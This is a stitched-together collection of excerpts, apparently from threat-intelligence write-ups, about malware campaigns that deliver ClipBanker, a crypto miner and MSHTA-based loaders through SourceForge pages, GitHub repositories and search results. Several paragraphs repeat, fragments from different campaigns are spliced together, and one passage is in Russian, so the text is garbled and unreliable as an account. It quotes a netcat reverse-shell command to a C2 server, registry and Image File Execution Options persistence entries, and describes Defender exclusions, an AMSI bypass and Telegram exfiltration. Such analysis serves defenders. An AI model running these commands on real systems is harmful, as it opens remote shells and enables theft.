ClipBanker

Recently, we noticed a rather unique scheme for distributing malware that exploits SourceForge... Pages like that are well-indexed by search engines and appear in their search results.

A user searches for “Proxifier” on a popular search engine, and one of the top results points directly to the malicious GitHub repository ... The attackers have been actively pushing their malicious GitHub repository up through search engine results.

The role of this script is to ensure Windows Defender exclusions and persistence... The scheduled task names masquerade as services that sound legitimate.

This essentially creates a remote command line with apap[.]app:445 as the C2 server.

the VB script runs a PowerShell interpreter to download and execute a batch file, confvk , from GitHub.

This file contains the password for the RAR archive. It also unpacks malicious files and runs the next-stage script.

The installer then executes an embedded Visual Basic script.

Many of the attack chains presented in this article rely on user interaction... users are manipulated through social engineering into willingly executing malicious commands copied to the clipboard.

Icon.dll Clean dynamic-link library with a compressed AutoIt script appended to it Kape.dll Clean dynamic-link library with a compressed AutoIt script appended to it... These scripts execute Input.exe (the AutoIt interpreter), passing the paths to Icon.dll and Kape.dll

The role of this script is to ensure Windows Defender exclusions and persistence... The scheduled task names masquerade as services that sound legitimate.

The PowerShell script handles several key tasks: it ... stores an encoded script inside a registry key at HKLM\SOFTWARE\System::Config.

Then confvz creates services named NetworkConfiguration and PerformanceMonitor to autostart the batch files, and a service named Update to directly run the AutoIt interpreter

Using the built-in WMIC utility, an event filter is created to trigger a handler every 80 seconds... The handler executes the following command: ShellExperienceHost . exe -- ssl apap . app 445 - e cmd . exe

Additionally, as a backup autostart method, confvz adds this registry key: "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe" :: Debugger = "%WINDIR%\System32\cmd.exe /c start start.exe"

...разновидность стилера ClipBanker, закрепившаяся в системе через раздел реестра HKU\S-1-5-21-[СКРЫТО]-500\Software\Microsoft\Windows\CurrentVersion\Run\9Er6IIp.

The role of this script is to ensure Windows Defender exclusions and persistence... The scheduled task names masquerade as services that sound legitimate.

Icon.dll restarts the AutoIt interpreter and injects a miner into it, while Kape.dll does the same but injects ClipBanker.

Then confvz creates services named NetworkConfiguration and PerformanceMonitor to autostart the batch files, and a service named Update to directly run the AutoIt interpreter

Using the built-in WMIC utility, an event filter is created to trigger a handler every 80 seconds... The handler executes the following command: ShellExperienceHost . exe -- ssl apap . app 445 - e cmd . exe

Additionally, as a backup autostart method, confvz adds this registry key: "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe" :: Debugger = "%WINDIR%\System32\cmd.exe /c start start.exe"

...разновидность стилера ClipBanker, закрепившаяся в системе через раздел реестра HKU\S-1-5-21-[СКРЫТО]-500\Software\Microsoft\Windows\CurrentVersion\Run\9Er6IIp.

The HTA decodes the next payload from an array of character codes and launches it... The downloaded PowerShell script is heavily obfuscated... We observed obfuscation techniques unique to each campaign, aiming to mask keywords that trigger alerts in EDRs and SIEMs.

Attackers use the file pumping technique to inflate the file size by appending junk data. The file in question was padded with null bytes.

The downloaded archive contains another password-protected archive, installer.zip... Inside installer.zip is a file named installer.msi . This is a Windows Installer file that exceeds 700 megabytes. Apparently, the large size is intended to convince users they are looking at a genuine software installer.

Icon.dll restarts the AutoIt interpreter and injects a miner into it, while Kape.dll does the same but injects ClipBanker.

The script block contains a minimal JavaScript loader that implements a Base64 decoding function... The main function decodes and executes the embedded script.

The tool is MSHTA, short for Microsoft HTML Application Host, a built-in Windows utility that can run scripts from local files and remote internet locations... Attackers have been using it to deliver some of today’s most harmful malware... All use MSHTA as a stepping stone during early or middle stages of infection.

the script checks for processes associated with antivirus software, security solutions, virtual environments, and research tools. If it detects anything like that, it deletes itself.

This was done after adding the malware’s folder to Windows Defender exclusions and applying hidden and system attributes to the file to hide it from regular users.

First, it sets the MSHTA window to 1x1 pixels, starts it minimized, and hides it from the taskbar to evade detection.

Icon.dll Clean dynamic-link library with a compressed AutoIt script appended to it Kape.dll Clean dynamic-link library with a compressed AutoIt script appended to it... These scripts execute Input.exe (the AutoIt interpreter), passing the paths to Icon.dll and Kape.dll

The PowerShell script handles several key tasks: it ... stores an encoded script inside a registry key at HKLM\SOFTWARE\System::Config.

The message contains system information, the infected device’s external IP address and country, CPU name, operating system, installed antivirus, username, and computer name.

the script checks for processes associated with antivirus software, security solutions, virtual environments, and research tools. If it detects anything like that, it deletes itself.

ClipBanker is a malware family that replaces cryptocurrency wallet addresses in the clipboard with the attackers’ own.

The downloaded archive contains another password-protected archive, installer.zip , and a Readme.txt file with the password.

One of the PowerShell scripts sends a message to a certain chat using the Telegram API.

the VB script runs a PowerShell interpreter to download and execute a batch file, confvk , from GitHub... The other PowerShell script downloads another batch file, confvz

ShellExperienceHost.exe is the netcat executable from the malicious archive. The arguments above make the utility establish an encrypted connection with the C2 server apap[.]app on port 445 and launch a command-line interpreter with redirected input/output through that connection.

This was done after adding the malware’s folder to Windows Defender exclusions and applying hidden and system attributes to the file to hide it from regular users.

The final, deobfuscated version of the PowerShell script consists of two parts. The first one is an AMSI bypass by patching clr.dll...